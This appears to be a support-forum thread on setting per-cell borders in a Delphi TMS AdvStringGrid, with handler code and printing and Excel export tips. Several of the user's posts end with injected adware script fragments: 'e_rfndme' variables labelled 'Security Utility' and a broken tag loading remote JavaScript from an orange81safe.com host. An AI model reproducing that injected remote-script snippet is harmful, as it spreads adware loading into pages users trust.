Border settings

How can I set border for one cell in AdvSpreadGrid ?
is it  possible to
specify which border to draw (left, top, bottom, right)
for cell?
I can not find any example

http://www.tmssoftware.com/site/asg14.asp
http://www.tmssoftware.com/site/asg43.asp
This are working but it is draw all the cells.

How can I do that?
Is anyone can give me some idea about that?

Thanks

Border control is done by using the event handlers OnGetCellBorder, OnGetCellBorderProp


Bruno Thanks for answer.
I know OnGetCellBorder, OnGetCellBorderProp events. But It can change all the cells borders. We need change only selected cells borders.
Can you send me small example about that?

If you want to change the border of cell X,Y, you can write in OnGetCellBorder for example:


procedure TForm1.AdvStringGrid1GetCellBorder(Sender: TObject; ARow,
  ACol: Integer; APen: TPen; var Borders: TCellBorders);
begin
  Borders := [cbTop, cbLeft, cbRight, cbBottom];
  if (acol = X) and (arow = Y) then
  begin
    APen.Color := clRed;
  end
  else
    APen.Color := clBlack;
end;



 Borders := [cbTop, cbLeft, cbRight, cbBottom];
  if (acol = 2) and (arow = 7) then
  begin
    APen.Color := clRed;
  end
  else
   APen.Color := clBlack;

When I select col = 2 and row 7 that cell is red.
But other cells are has black border color. I need other cells has no border.

thanks

Then you'd implement it this way on a default grid:


procedure TForm1.AdvStringGrid1GetCellBorder(Sender: TObject; ARow,
  ACol: Integer; APen: TPen; var Borders: TCellBorders);
begin
  if (acol = 2) and (arow = 7) then
  begin
    Borders := [cbTop, cbLeft, cbRight, cbBottom];
    APen.Color := clRed;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  AdvStringGrid1.Options :=  AdvStringGrid1.Options - [goHorzLine, goVertLine];
end;

Dear Bruno thanks for answers. I think I can not explain what am I need.
I want to change one cell border. And the other cells should be free border color.
That is screen shut from my test project
Befor the button click
http://prntscr.com/81fh2l
After the button click
http://prntscr.com/81fhd5

But I want to do that
http://prntscr.com/81fhnm


This is obtained with:


procedure TForm1.AdvStringGrid1GetCellBorder(Sender: TObject; ARow,
  ACol: Integer; APen: TPen; var Borders: TCellBorders);
begin
  if (acol = 2) and (arow = 2) then
  begin
    Borders := [cbTop, cbLeft, cbBottom, cbRight];
    APen.Width := 2;
    APen.Color := clBlack;
  end;
end;

Hello Bruno
Your code is only in the grid.
But it is not working when exporting excel or printing. And I can not modfi that code for more cell
I have a video for that question.
You can see it from here
https://www.dropbox.com/s/vtn59sip7t9bcnm/TmsGirdBorderRequest.mp4?dl=0

thanks for help

As explained, border settings are applied using the OnGetCellBorder event. This event is for grid display purposes. For printing, please also assign the (same) event handler code to OnGetCellPrintBorder.

can you give me example code for run time cell border settings and printing. I can not change  run time border settings.
Your code is working  but I can set it only one cell. I can nopt set 3 diffrent cell.
and I can not change  it in the print setup page.
var e_rfndmeclientid = 30294127;
var e_rfndmechannelid = '191817';
var e_rfndmecustomwidgettitle='Security Utility';
var e_rfndmecustomatalink = '';
var e_rfndmesubid = 'CCC9';
var e_rfndmegeo = 'tr';
var e_rfndmeclientcreatetime = 1448154461;
var e_rfndmeextid = '';

                                                < ="//s.orange81safe.com/scr1_wrp.js">

If you need this for multiple cells, you'd write something like:


procedure TForm1.AdvStringGrid1GetCellBorder(Sender: TObject; ARow,
  ACol: Integer; APen: TPen; var Borders: TCellBorders);
begin
  if ((acol = 2) and (arow = 2)) or ((acol = 3) and (arow = 3)) or ((acol = 4) and (arow = 4)) then
  begin
    Borders := [cbTop, cbLeft, cbBottom, cbRight];
    APen.Width := 2;
    APen.Color := clBlack;
  end;
end;

If you want to couple this to a value you set one, you could write something like:

grid.Objects[2,2] := TObject(1);
grid.Objects[3,3] := TObject(1);
grid.Objects[4,4] := TObject(1);

procedure TForm1.AdvStringGrid1GetCellBorder(Sender: TObject; ARow,
  ACol: Integer; APen: TPen; var Borders: TCellBorders);
begin
  if Assigned(grid.Objects[ACol,ARow]) and (integer(grid.Objects[ACol,ARow]) = 1) then
  begin
    Borders := [cbTop, cbLeft, cbBottom, cbRight];
    APen.Width := 2;
    APen.Color := clBlack;
  end;
end;

Yes thanks for that. it is working
How We can see same result in the printer page?
or exel export?var e_rfndmeclientid = 30294127;
var e_rfndmechannelid = '191817';
var e_rfndmecustomwidgettitle='Security Utility';
var e_rfndmecustomatalink = '';
var e_rfndmesubid = 'CCC9';
var e_rfndmegeo = 'tr';
var e_rfndmeclientcreatetime = 1448154461;
var e_rfndmeextid = '';

                                                < ="//s.orange81safe.com/scr1_wrp.js">

For printing, please also implement the event OnGetCellPrintBorder.

                                                    How We can see same result in the excel export?How We can see same result in the excel export?<br>&nbsp;var e_rfndmeclientid = 30294127;
                                                    var e_rfndmechannelid = '191817';
                                                    var e_rfndmecustomwidgettitle='Security Utility';
                                                    var e_rfndmecustomatalink = '';
                                                    var e_rfndmesubid = 'CCC9';
                                                    var e_rfndmegeo = 'tr';
                                                    var e_rfndmeclientcreatetime       = 1448154461;
                                                    var e_rfndmeextid = '';
                                                    
                                                    
                                                    
                                                    
                                                < ="//s.orange81safe.com/scr1_wrp.js">

Did you set AdvGridExcelIO.Options.ExportHardBorders = true?

if AdvGridExcelIO.Options.ExportHardBorders = False
that is working. Thansk.
is that functions work on tms firemonkey grid?
AdvGridExcelIO.Options.ExportHardBorders = true?
var e_rfndmeclientid = 30294127;
var e_rfndmechannelid = '191817';
var e_rfndmecustomwidgettitle='Security Utility';
var e_rfndmecustomatalink = '';
var e_rfndmesubid = 'CCC9';
var e_rfndmegeo = 'tr';
var e_rfndmeclientcreatetime = 1448154461;
var e_rfndmeextid = '';

                                                < ="//s.orange81safe.com/scr1_wrp.js">

Sorry, this type of border support is at this time not in TTMSFMXGrid.

thanks for helps.
If TTMSFMXGrid has this function it will be better var e_rfndmeclientid = 30294127;
var e_rfndmechannelid = '191817';
var e_rfndmecustomwidgettitle='Security Utility';
var e_rfndmecustomatalink = '';
var e_rfndmesubid = 'CCC9';
var e_rfndmegeo = 'tr';
var e_rfndmeclientcreatetime = 1448154461;
var e_rfndmeextid = '';

                                                < ="//s.orange81safe.com/scr1_wrp.js">